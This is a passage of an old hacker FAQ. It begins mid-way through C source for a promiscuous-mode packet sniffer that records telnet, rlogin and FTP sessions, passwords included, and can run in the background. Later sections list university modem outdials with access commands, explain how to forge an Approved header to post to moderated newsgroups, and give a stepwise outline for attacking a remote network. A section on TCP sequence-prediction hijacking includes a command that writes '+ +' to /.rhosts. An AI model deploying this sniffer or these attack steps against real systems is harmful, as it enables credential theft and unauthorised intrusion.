      SFL(2,TH_RST, 'R');
      SFL(3,TH_PUSH,'P');
      SFL(4,TH_ACK, 'A');
      SFL(5,TH_URG, 'U');
      iobuf[6]=0;
      return(iobuf);
    }
    
    char *SERVp(port)
    register u_int port;
    { static char buf[10];
      register char *p;
    
       switch(port) {
         case IPPORT_LOGINSERVER: p="rlogin"; break;
         case IPPORT_TELNET:      p="telnet"; break;
         case IPPORT_SMTP:        p="smtp"; break;
         case IPPORT_FTP:         p="ftp"; break;
         default: sprintf(buf,"%u",port); p=buf; break;
       }
       return(p);
    }
    
    char *Ptm(t)
    register time_t *t;
    { register char *p = ctime(t);
      p[strlen(p)-6]=0; /* strip " YYYY\n" */
      return(p);
    }
    
    char *NOWtm()
    { time_t tm;
      time(&tm);
      return( Ptm(&tm) );
    }
    
    #define MAX(a,b) (((a)>(b))?(a):(b))
    #define MIN(a,b) (((a)<(b))?(a):(b))
    
    /* add an item */
    #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
      register struct CREC *CLtmp = \
    	(struct CREC *)malloc(sizeof(struct CREC)); \
      time( &(CLtmp->Time) ); \
      CLtmp->SRCip.s_addr = SIP.s_addr; \
      CLtmp->DSTip.s_addr = DIP.s_addr; \
      CLtmp->SRCport = SPORT; \
      CLtmp->DSTport = DPORT; \
      CLtmp->Length = MIN(LEN,MAXBUFLEN); \
      bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
      CLtmp->PKcnt = 1; \
      CLtmp->Next = CLroot; \
      CLtmp->Last = NULL; \
      CLroot = CLtmp; \
    }
    
    register struct CREC *GET_NODE(Sip,SP,Dip,DP)
    register struct in_addr Sip,Dip;
    register u_int SP,DP;
    { register struct CREC *CLr = CLroot;
    
      while(CLr != NULL) {
        if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
            IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
    	    break;
        CLr = CLr->Next;
      }
      return(CLr);
    }
    
    #define ADDDATA_NODE(CL,DATA,LEN) { \
     bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
     CL->Length += LEN; \
    }
    
    #define PR_DATA(dp,ln) {    \
      register u_char lastc=0; \
      while(ln-- >0) { \
         if(*dp < 32) {  \
    	switch(*dp) { \
    	    case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
    			break; \
    	    case '\r': \
    	    case '\n': fprintf(LOG,"\n     : "); \
    			break; \
    	    default  : fprintf(LOG,"^%c", (*dp + 64)); \
    			break; \
    	} \
         } else { \
    	if(isprint(*dp)) fputc(*dp,LOG); \
    	else fprintf(LOG,"(%d)",*dp); \
         } \
         lastc = *dp++; \
      } \
      fflush(LOG); \
    }
    
    void END_NODE(CLe,d,dl,msg)
    register struct CREC *CLe;
    register u_char *d;
    register int dl;
    register char *msg;
    {
       fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
       fprintf(LOG," PATH: %s(%s) =>",
    Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
       fprintf(LOG," %s(%s)\n",
    Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
       fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                            NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
       fprintf(LOG," DATA: ");
        { register u_int i = CLe->Length;
          register u_char *p = CLe->Data;
          PR_DATA(p,i);
          PR_DATA(d,dl);
        }
    
       fprintf(LOG,"\n-- \n");
       fflush(LOG);
    
       if(CLe->Next != NULL)
        CLe->Next->Last = CLe->Last;
       if(CLe->Last != NULL)
        CLe->Last->Next = CLe->Next;
       else
        CLroot = CLe->Next;
       free(CLe);
    }
    
    /* 30 mins (x 60 seconds) */
    #define IDLE_TIMEOUT 1800
    #define IDLE_NODE() { \
      time_t tm; \
      time(&tm); \
      if(LastTIME<tm) { \
         register struct CREC *CLe,*CLt = CLroot; \
         LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
         while(CLe=CLt) { \
           CLt=CLe->Next; \
           if(CLe->Time <tm) \
    	   END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
         } \
      } \
    }
    
    void filter(cp, pktlen)
    register char *cp;
    register u_int pktlen;
    {
     register struct ip     *ip;
     register struct tcphdr *tcph;
    
     { register u_short EtherType=ntohs(((struct ether_header
    *)cp)->ether_type);
    
       if(EtherType < 0x600) {
         EtherType = *(u_short *)(cp + SZETH + 6);
         cp+=8; pktlen-=8;
       }
    
       if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
          return;
     }
    
        /* ugh, gotta do an alignment :-( */
     bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
    
     ip = (struct ip *)Packet;
     if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
        return;
     tcph = (struct tcphdr *)(Packet + IPHLEN);
    
     if(!( (TCPD == IPPORT_TELNET) ||
           (TCPD == IPPORT_LOGINSERVER) ||
           (TCPD == IPPORT_FTP)
       )) return;
    
     { register struct CREC *CLm;
       register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
       register u_char *p = (u_char *)Packet;
    
       p += ((IPHLEN * 4) + (TCPOFF * 4));
    
     if(debug) {
      fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
      fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
      fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
     }
    
       if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
    
          CLm->PKcnt++;
    
          if(length>0)
            if( (CLm->Length + length) < MAXBUFLEN ) {
    	  ADDDATA_NODE( CLm, p,length);
    	} else {
    	  END_NODE( CLm, p,length, "DATA LIMIT");
    	}
    
          if(TCPFL(TH_FIN|TH_RST)) {
    	  END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST"
    );
          }
    
       } else {
    
          if(TCPFL(TH_SYN)) {
    	 ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
          }
    
       }
    
       IDLE_NODE();
    
     }
    
    }
    
    /* signal handler
     */
    void death()
    { register struct CREC *CLe;
    
        while(CLe=CLroot)
    	END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
    
        fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
        fflush(LOG);
        if(LOG != stdout)
    	fclose(LOG);
        exit(1);
    }
    
    /* opens network interface, performs ioctls and reads from it,
     * passing data to filter function
     */
    void do_it()
    {
        int cc;
        char *buf;
        u_short sp_ts_len;
    
        if(!(buf=malloc(CHUNKSIZE)))
    	Pexit(1,"Eth: malloc");
    
    /* this /dev/nit initialization code pinched from etherfind */
      {
        struct strioctl si;
        struct ifreq    ifr;
        struct timeval  timeout;
        u_int  chunksize = CHUNKSIZE;
        u_long if_flags  = NI_PROMISC;
    
        if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
    	Pexit(1,"Eth: nit open");
    
        if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
    	Pexit(1,"Eth: ioctl (I_SRDOPT)");
    
        si.ic_timout = INFTIM;
    
        if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
    	Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
    
        timeout.tv_sec = 1;
        timeout.tv_usec = 0;
        si.ic_cmd = NIOCSTIME;
        si.ic_len = sizeof(timeout);
        si.ic_dp  = (char *)&timeout;
    
        if(ioctl(if_fd, I_STR, (char *)&si) < 0)
    	Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
    
        si.ic_cmd = NIOCSCHUNK;
        si.ic_len = sizeof(chunksize);
        si.ic_dp  = (char *)&chunksize;
        if(ioctl(if_fd, I_STR, (char *)&si) < 0)
    	Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
    
        strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
        ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
        si.ic_cmd = NIOCBIND;
        si.ic_len = sizeof(ifr);
        si.ic_dp  = (char *)𝔦
        if(ioctl(if_fd, I_STR, (char *)&si) < 0)
    	Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
    
        si.ic_cmd = NIOCSFLAGS;
        si.ic_len = sizeof(if_flags);
        si.ic_dp  = (char *)&if_flags;
    
        if(ioctl(if_fd, I_STR, (char *)&si) < 0)
    	Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
    
        if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
    	Pexit(1,"Eth: ioctl (I_FLUSH)");
      }
    
        while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
    	register char *bp = buf,
    		      *bufstop = (buf + cc);
    
            while (bp < bufstop) {
    	    register char *cp = bp;
    	    register struct nit_bufhdr *hdrp;
    
    	    hdrp = (struct nit_bufhdr *)cp;
    	    cp += sizeof(struct nit_bufhdr);
                bp += hdrp->nhb_totlen;
                filter(cp, (u_long)hdrp->nhb_msglen);
    	}
        }
        Pexit((-1),"Eth: read");
    }
     /* Authorize your program, generate your own password and uncomment here
    */
    /* #define AUTHPASSWD "EloiZgZejWyms" */
    
    void getauth()
    { char *buf,*getpass(),*crypt();
      char pwd[21],prmpt[81];
    
        strcpy(pwd,AUTHPASSWD);
        sprintf(prmpt,"(%s)UP? ",ProgName);
        buf=getpass(prmpt);
        if(strcmp(pwd,crypt(buf,pwd)))
    	exit(1);
    }
        */
    void main(argc, argv)
    int argc;
    char **argv;
    {
        char   cbuf[BUFSIZ];
        struct ifconf ifc;
        int    s,
    	   ac=1,
    	   backg=0;
    
        ProgName=argv[0];
    
     /*     getauth(); */
    
        LOG=NULL;
        device=NULL;
        while((ac<argc) && (argv[ac][0] == '-')) {
           register char ch = argv[ac++][1];
           switch(toupper(ch)) {
    	    case 'I': device=argv[ac++];
    		      break;
    	    case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
    			 Zexit(1,"Output file cant be opened\n");
    		      break;
    	    case 'B': backg=1;
    		      break;
    	    case 'D': debug=1;
    		      break;
    	    default : fprintf(ERR,
    			"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
    			    ProgName);
    		      exit(1);
           }
        }
    
        if(!device) {
            if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
    	    Pexit(1,"Eth: socket");
    
    	ifc.ifc_len = sizeof(cbuf);
    	ifc.ifc_buf = cbuf;
            if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
    	    Pexit(1,"Eth: ioctl");
    
    	close(s);
            device = ifc.ifc_req->ifr_name;
        }
    
        fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
        fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
    	    (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
    
        if(!LOG)
    	LOG=stdout;
    
        signal(SIGINT, death);
        signal(SIGTERM,death);
        signal(SIGKILL,death);
        signal(SIGQUIT,death);
    
        if(backg && debug) {
    	 fprintf(ERR,"[Cannot bg with debug on]\n");
    	 backg=0;
        }
    
        if(backg) {
    	register int s;
    
            if((s=fork())>0) {
    	   fprintf(ERR,"[pid %d]\n",s);
    	   exit(0);
            } else if(s<0)
    	   Pexit(1,"fork");
    
            if( (s=open("/dev/tty",O_RDWR))>0 ) {
    		ioctl(s,TIOCNOTTY,(char *)NULL);
    		close(s);
    	}
        }
        fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
        fflush(LOG);
    
        do_it();
    }
    
    
    

    B-06. What is an Internet Outdial?

    An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.



    B-07. What are some Internet Outdials?

    This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and DisordeR

    Introduction

    There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead.


    Working Outdials as of 12/29/94:
    NPA IP Address Instructions
    215 isn.upenn.edu modem
    217 dialout.cecer.army.mil atdt x,xxxXXXXX
    218 modem.d.umn.edu atdt9,xxxXXXX
    303 yuma.acns.colostate.edu 3020  
    412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt
    412 gate.cis.pitt.edu tn3270,
    connect dialout.pitt.edu,
    atdtxxxXXXX
    413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
    502 outdial.louisville.edu  
    502 uknet.uky.edu connect kecnet
    @ dial: "outdial2400 or out"
    602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
    614 ns2400.acs.ohio-state.edu  
    614 ns9600.acs.ohio-state.edu  
    713 128.249.27.153 atdt x,xxxXXXX
    714 modem.nts.uci.edu atdt[area]0[phone]
    804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
    804 ublan2.acc.virginia.edu connect telnet
    connect hayes
    Need password:
    NPA IP Address Instructions
    204 dial.cc.umanitoba.ca  
    206 rexair.cac.washington.edu This is an unbroken password
    303 yuma.ACNS.ColoState.EDU login: modem
    404 128.140.1.239 .modem8|CR
    415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
    514 cartier.CC.UMontreal.CA externe,9+number
    703 wal-3000.cns.vt.edu dial2400 -aa
    Dead/No Connect:
    NPA IP Address Instructions
    201 idsnet  
    202 modem.aidt.edu  
    204 umnet.cc.manitoba.ca "dial12" or "dial24"
    206 dialout24.cac.washington.edu  
    207 modem-o.caps.maine.edu  
    212 B719-7e.NYU.EDU dial3/dial12/dial24
    212 B719-7f.NYU.EDU dial3/dial12/dial24
    212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
    212 FREE-138-229.NYU.EDU dial3/dial12/dial24
    212 UP19-4b.NYU.EDU dial3/dial12/dial24
    215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
    218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type "modem"
    218 modem.d.umn.edu Hayes 9,XXX-XXXX
    301 dial9600.umd.edu  
    305 alcat.library.nova.edu  
    305 office.cis.ufl.edu  
    307 modem.uwyo.edu Hayes 0,XXX-XXXX
    313 35.1.1.6 dial2400-aa or dial1200-aa or dialout
    402 dialin.creighton.edu  
    402 modem.criegthon.edu  
    404 broadband.cc.emory.edu ".modem8" or ".dialout"
    408 dialout.scu.edu  
    408 dialout1200.scu.edu  
    408 dialout2400.scu.edu  
    408 dialout9600.scu.edu  
    413 dialout.smith.edu  
    414 modems.uwp.edu  
    416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
    416 pacx.utcs.utoronto.ca modem
    503 dialout.uvm.edu  
    513 dialout24.afit.af.mil  
    513 r596adi1.uc.edu  
    514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
    517 engdial.cl.msu.edu  
    602 dial9600.telcom.arizona.edu  
    603 dialout1200.unh.edu  
    604 dial24-nc00.net.ubc.ca  
    604 dial24-nc01.net.ubc.ca  
    604 dial96-np65.net.ubc.ca  
    604 gmodem.capcollege.bc.ca  
    604 hmodem.capcollege.bc.ca  
    609 128.119.131.11 X (X= 1 - 4) Hayes
    609 wright-modem-1.rutgers.edu  
    609 wright-modem-2.rutgers.edu  
    612 modem_out12e7.atk.com  
    612 modem_out24n8.atk.com  
    614 ns2400.ircc.ohio-state.edu "dial"
    615 dca.utk.edu dial2400 D 99k #
    615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
    616 modem.calvin.edu  
    617 128.52.30.3 2400baud
    617 dialout.lcs.mit.edu  
    617 dialout1.princeton.edu  
    617 isdn3.Princeton.EDU  
    617 jadwingymkip0.Princeton.EDU  
    617 lord-stanley.Princeton.EDU  
    617 mpanus.Princeton.EDU  
    617 mrmodem.wellesley.edu  
    617 old-dialout.Princeton.EDU  
    617 stagger.Princeton.EDU  
    617 sunshine-02.lcs.mit.edu  
    617 waddle.Princeton.EDU  
    619 128.54.30.1 atdt [area][phone]
    619 dialin.ucsd.edu "dialout"
    703 modem_pool.runet.edu  
    703 wal-3000.cns.vt.edu  
    713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx" or "Hayes"
    713 modem12.bcm.tmc.edu  
    713 modem24.bcm.tmc.edu  
    713 modem24.bcm.tmc.edu  
    714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
    714 modem24.nts.uci.edu  
    714 pub-gopher.cwis.uci.edu  
    801 dswitch.byu.edu "C Modem"
    808 irmodem.ifa.hawaii.edu  
    902 star.ccs.tuns.ca "dialout"
    916 129.137.33.72  
    916 cc-dnet.ucdavis.edu connect hayes/dialout
    916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
    ??? 128.200.142.5  
    ??? 128.54.30.1 nue, X to discontinue, ? for Help
    ??? 128.6.1.41  
    ??? 128.6.1.42  
    ??? 129.137.33.72  
    ??? 129.180.1.57  
    ??? 140.112.3.2 ntu <none>
    ??? annexdial.rz.uni-duesseldorf.de  
    ??? dial96.ncl.ac.uk  
    ??? dialout.plk.af.mil  
    ??? ee21.ee.ncu.edu.tw cs8005
    ??? im.mgt.ncu.edu.tw guest <none>
    ??? modem.cis.uflu.edu  
    ??? modem.ireq.hydro.qc.ca  
    ??? modems.csuohio.edu  
    ??? sparc20.ncu.edu.tw u349633
    ??? sun2cc.nccu.edu.tw ?
    ??? ts-modem.une.oz.au  
    ??? twncu865.ncu.edu.tw guest <none>
    ??? vtnet1.cns.ut.edu "CALL" or "call"


    Conclusion

    If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun...

    [Editors note: Updates have been made to this document after the original publication]



    B-08. What port is XXX on?

    The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"



    B-09. What is an anonymous remailer?

    This FAQ answer was written by Raph Levien:

    An anonymous remailer is a system on the Internet that allows you to send e-mail or post messages to Usenet anonymously.

    There are two sorts of remailers in widespread use. The first is the anon.penet.fi style, the second is the cypherpunk style. The remailer at anon.penet.fi is immensely popular, with over 160,000 users over its lifetime, and probably tens of thousands of messages per day. Its main advantage is that it's so easy to use. The cypherpunks mailers, which provide much better security, are becoming more popular, however, as there is more awareness of them.

    The user of the anon.penet.fi system first needs to get an anonymous id. This is done either by sending mail to somebody who already has one (for example, by replying to a post on Usenet), or sending mail to [email protected]. In either case, penet will mail back the new anon id, which looks like [email protected]. If an123456 then sends mail to another user of the system, then this is what happens:

    1. The mail is transported to anon.penet.fi, which resides somewhere in the vicinity of Espoo, Finland.

    2. These steps are carried out by software running on anon.penet.fi. Penet first looks up the email address of the sender in its database, then replaces it with the numeric code. All other information about the sender is removed.

    3. Then, penet looks up the number of the recipient in the same database, and replaces it with the actual email address.

    4. Finally, it sends the mail to the actual email address of the recipient.

    There are variations on this scheme, such as posting to Usenet (in which step 3 is eliminated), but that's the basic idea.

    Where anon.penet.fi uses a secret database to match anon id's to actual email addresses, the cypherpunks remailers use cryptography to hide the actual identities. Let's say I want to send email to a real email address, or post it to Usenet, but keep my identity completely hidden. To send it through one remailer, this is what happens.

    1. I encrypt the message and the recipient's address, using the public key of the remailer of my choice.

    2. I send the email to the remailer.

    3. When the remailer gets the mail, it decrypts it using its private key, revealing as plaintext the message and the recipient's address.

    4. All information about the sender is removed.

    5. Finally, it sends it to the recipient's email address.

    If one trusts the remailer operator, this is good enough. However, the whole point of the cypherpunks remailers is that you don't have to trust any one individual or system. So, people who want real security use a chain of remailers. If any one remailer on the "chain" is honest, then the privacy of the message is assured.

    To use a chain of remailers, I first have to prepare the message, which is nestled within multiple layers of encryption, like a Russian matryoshka doll. Preparing such a message is tedious and error prone, so many people use an automated tool such as my premail package. Anyway, after preparing the message, it is sent to the first remailer in the chain, which corresponds to the outermost layer of encryption. Each remailer strips off one layer of encryption and sends the message to the next, until it reaches the final remailer. At this point, only the innermost layer of encryption remains. This layer is stripped off, revealing the plaintext message and recipient for the first time. At this point, the message is sent to its actual recipient.

    Remailers exist in many locations. A typical message might go through Canada, Holland, Berkeley, and Finland before ending up at its final location.

    Aside from the difficulty of preparing all the encrypted messages, another drawback of the cypherpunk remailers is that they don't easily allow responses to anonymous mail. All information about the sender is stripped away, including any kind of return address. However the new alias servers promise to change that. To use an alias server, one creates a new email address (mine is [email protected]). Mail sent to this new address will be untraceably forwarded to one's real address.

    To set this up, one first encrypts one's own email address with multiple layers of encryption. Then, using an encrypted channel, one sends the encrypted address to the alias server, along with the nickname that one would like. The alias server registers the encrypted address in the database. The alias server then handles reply mail in much the same way as anon.penet.fi, except that the mail is forwarded to the chain of anonymous remailers.

    For maximum security, the user can arrange it so that, at each link in the chain, the remailer adds another layer of encryption to the message while removing one layer from the email address. When the user finally gets the email, it is encrypted in multiple layers. The matryoshka has to be opened one doll at a time until the plaintext message hidden inside is revealed.

    One other point is that the remailers must be reliable in order for all this to work. This is especially true when a chain of remailers is used -- if any one of the remailers is not working, then the message will be dropped. This is why I maintain a list of reliable remailers. By choosing reliable remailers to start with, there is a good chance the message will finally get there.



    B-10. What are the addresses of some anonymous remailers?


    To see a comprehensive list on anonymous remailers point your web browser to http://anon.efga.org/Remailers.

    For more information regarding anonymous email, check out http://web.rge.com/pub/security/cypherpunks/.

    The following URL's allow you to send anonymous e-mail via the world wide web:

    http://www.anonymizer.com http://members.ozemail.com.au/~geoffk/anon/anon.html



    B-11. What is 127.0.0.1?

    127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine.



    B-12. How do I post to a moderated newsgroup?

    Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly.

    One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor.

    A "Approved" header line should look like this:

    Approved: [email protected]


    There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body.

    For more information, read RFC 1036: Standard for Interchange of USENET messages.



    B-13. How do I post to Usenet via e-mail?

    Through an e-mail->Usenet gateway. Send an a e-mail messages to <newsgroup>@<servername>. For example, to post to alt.2600 through nic.funet.fi, address your mail to [email protected].

    Here are a few e-mail->Usenet gateways:

    [email protected]
    [email protected] [email protected] [email protected]
    [email protected]



    B-14. What is a firewall?

    A firewall is a system that is set up to control traffic flow between two networks. Firewalls are most commonly specially configured Unix systems, but firewalls have also been built out of many other systems, including systems designed specifically for use as firewalls. The most common firewall today is CheckPoint FireWall-1, but competitions such as Cisco's PIX are quickly catching up on CheckPoint.

    Many people disagree on the definiton of a firewall, and in this discussion I will use the term loosely.

    One type of firewall is the packet filtering firewall. In a packet filtering firewall, the firewall examines five characteristics of a packet:

    Source IP address
    Source port
    Destination IP address
    Destination port
    IP protocol (TCP or UDP)

    Based upon rules configured into the firewall, the packet will either be allowed through, rejected, or dropped. If the firewall rejects the packet, it sends a message back to the sender letting him know that the packet was rejected. If the packet was dropped, the firewall simply does not respond to the packet. The sender must wait for the communications to time out. Dropping packets instead of rejecting them greatly increases the time required to scan your network. Packet filtering firewalls operate on Layer 3 of the OSI model, the Network Layer. Routers are a very common form of packet filtering firewall.

    An improved form of the packet filtering firewall is a packet filtering firewall with a stateful inspection engine. With this enhancement, the firewall "remembers" conversations between systems. It is then necessary to fully examine only the first packet of a conversation.

    Another type of firewall is the application-proxy firewall. In a proxying firewall, every packet is stopped at the firewall. The packet is then examined and compared to the rules configured into the firewall. If the packet passes the examinations, it is re-created and sent out. Because each packet is destroyed and re-created, there is a potential that an application-proxy firewall can prevent unknown attacks based upon weaknesses in the TCP/IP protocol suite that would not be prevented by a packet filtering firewall. The drawback is that a separate application-proxy must be written for each application type being proxied. You need an HTTP proxy for web traffic, an FTP proxy for file transfers, a Gopher proxy for Gopher traffic, etc... Application-proxy firewalls operate on Layer 7 of the OSI model, the Application Layer.

    Application-gateway firewalls also operate on Layer 7 of the OSI model. Application-gateway firewalls exist for only a few network applications. A typical application-gateway firewall is a system where you must telnet to one system in order telnet again to a system outside of the network.

    Another type of application-proxy firewall are SOCKS firewalls. Where normal application-proxy firewalls do not require modifications to network clients, SOCKS firewalls requires specially modified network clients. This means you have to modify every system on your internal network which needs to communicate with the external network. On a Windows or OS/2 system, this can be as easy as swapping a few DLL's.



    B-15. How do I attack a remote network across the Internet?

    On a theoretical level, attacking a remote network across the Internet is very simple.

    First, you research to discover all of the IP address ranges used by the target. Search the web, search Usenet, search Internet, search RIPE, search APNIC, search everywhere.

    Second, you identify all hosts in those IP address ranges. This may be as simple as pinging each possible host in those networks. Be warned, however, that many hosts will be protected by firewalls that prvent ICMP ECHO Requests (used by ping) from reaching them. Those hosts may still have vulnerable services running on them.

    Third, you identify all open ports on each of those hosts. For example, one host may be providing dns, bootp, and time services. This is normally done by "port scanning" the host. Port scanning UDP ports is much slower than port scanning TCP ports. TCP ports will respond negatively when they are not open. UDP ports require you to wait for a timeout. You may choose to scan only known ports, or to scan only ports below 1024, or to scan all 65,535 ports.

    Fourth, you attack vulnerable services. If you see a time server running and you know of a time server exploit, you try it out. Perhaps the target is running an OS that is not vulnerable, or perhaps the system administrator has patched the target host. Or, maybe you will succeed. Vulnerability information can be gleaned from Internet WWW sites or mailing lists, traded privately, or developed on your own.



    B-16. What is a TCP sequence prediction attack?

    TCP is a reliable connection-oriented layer 4 (Transport Layer) protocol. Packet transfer between hosts is accomplished by the layers below layer 4 and TCP takes responsibility to making certain the packets are delivered to higher layers in the protocol stack in the correct order. To accomplish this reordering task, TCP uses the sequence number field.

    To successfully mount a TCP sequence prediction attack, you must first listen to communications between two systems, one of which is your target system. Then, you issue packets from your system to the target system with the source IP address of the trusted system that is communicating with the target system.

    The packets you issue must have the sequence numbers that the target system is expecting. In addition, your packets must arrive before the packets from the trusted system whose connection you are hijacking. To accomplish this, it is often necessary to flood the trusted system off of the network with some form of denial of service attack.

    Once you have taken over the connection, you can send data to allow you to access the target host using a normal TCP/IP connection. The most simple way to do this is:

    echo "+ +" > /.rhosts

    This specific technique relies upon inherent weaknesses in the BSD Unix `r` services. However, SunRPC, NFS, X-Windows, and many other services which rely upon IP address authentication can be exploited with a TCP sequence prediction attack.

    An excerpt from RFC 793 concering the generation of TCP sequence numbers:

    When new connections are created, an initial sequence number (ISN) generator is employed which selects a new 32 bit ISN. The generator is bound to a (possibly fictitious) 32 bit clock whose low order bit is incremented roughly every 4 microseconds. Thus, the ISN cycles approximately every 4.55 hours. Since we assume that segments will stay in the network no more than the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55 hours we can reasonably assume that ISN's will be unique.

    The developers of the BSD Unix TCP/IP stack did not follow these recommendations. TCP/IP stacks based upon BSD Unix increase the sequence number by 128,000 every second and by 64,000 for every new TCP connection. This is significantly more predictable than the algorithm specified in the RFC.

    TCP sequence prediction attacks are stopped by any router or firewall that is configured not to allow packets from an internal IP address to originate from an external interface.

                               TCP Header Format
                               -----------------
    
        0                   1                   2                   3
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |          Source Port          |       Destination Port        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                        Sequence Number                        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Acknowledgment Number                      |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |  Data |           |U|A|P|R|S|F|                               |
       | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
       |       |           |G|K|H|T|N|N|                               |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |           Checksum            |         Urgent Pointer        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Options                    |    Padding    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                             data                              |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    
    



    Section C -- Wireless Networks



    C-01. What is 802.11?

    802.11 is a suite of specifications for wireless Ethernet. 802.11 is interesting to hackers because it allows almost untraceable entry into networks.

    Standard Speed Frequency Modulation
    802.11 2Mb 2.4Ghz Phase-Shift Keying
    802.11a 54Mb 5Ghz Orthogonal Frequency Division Multiplexing
    802.11b 11Mb 2.4Ghz Complementary Code Keying
    802.11g
    54Mb
    2.4Ghz
    Orthogonal Frequency Division Multiplexing


    C-02. What is a SSID?

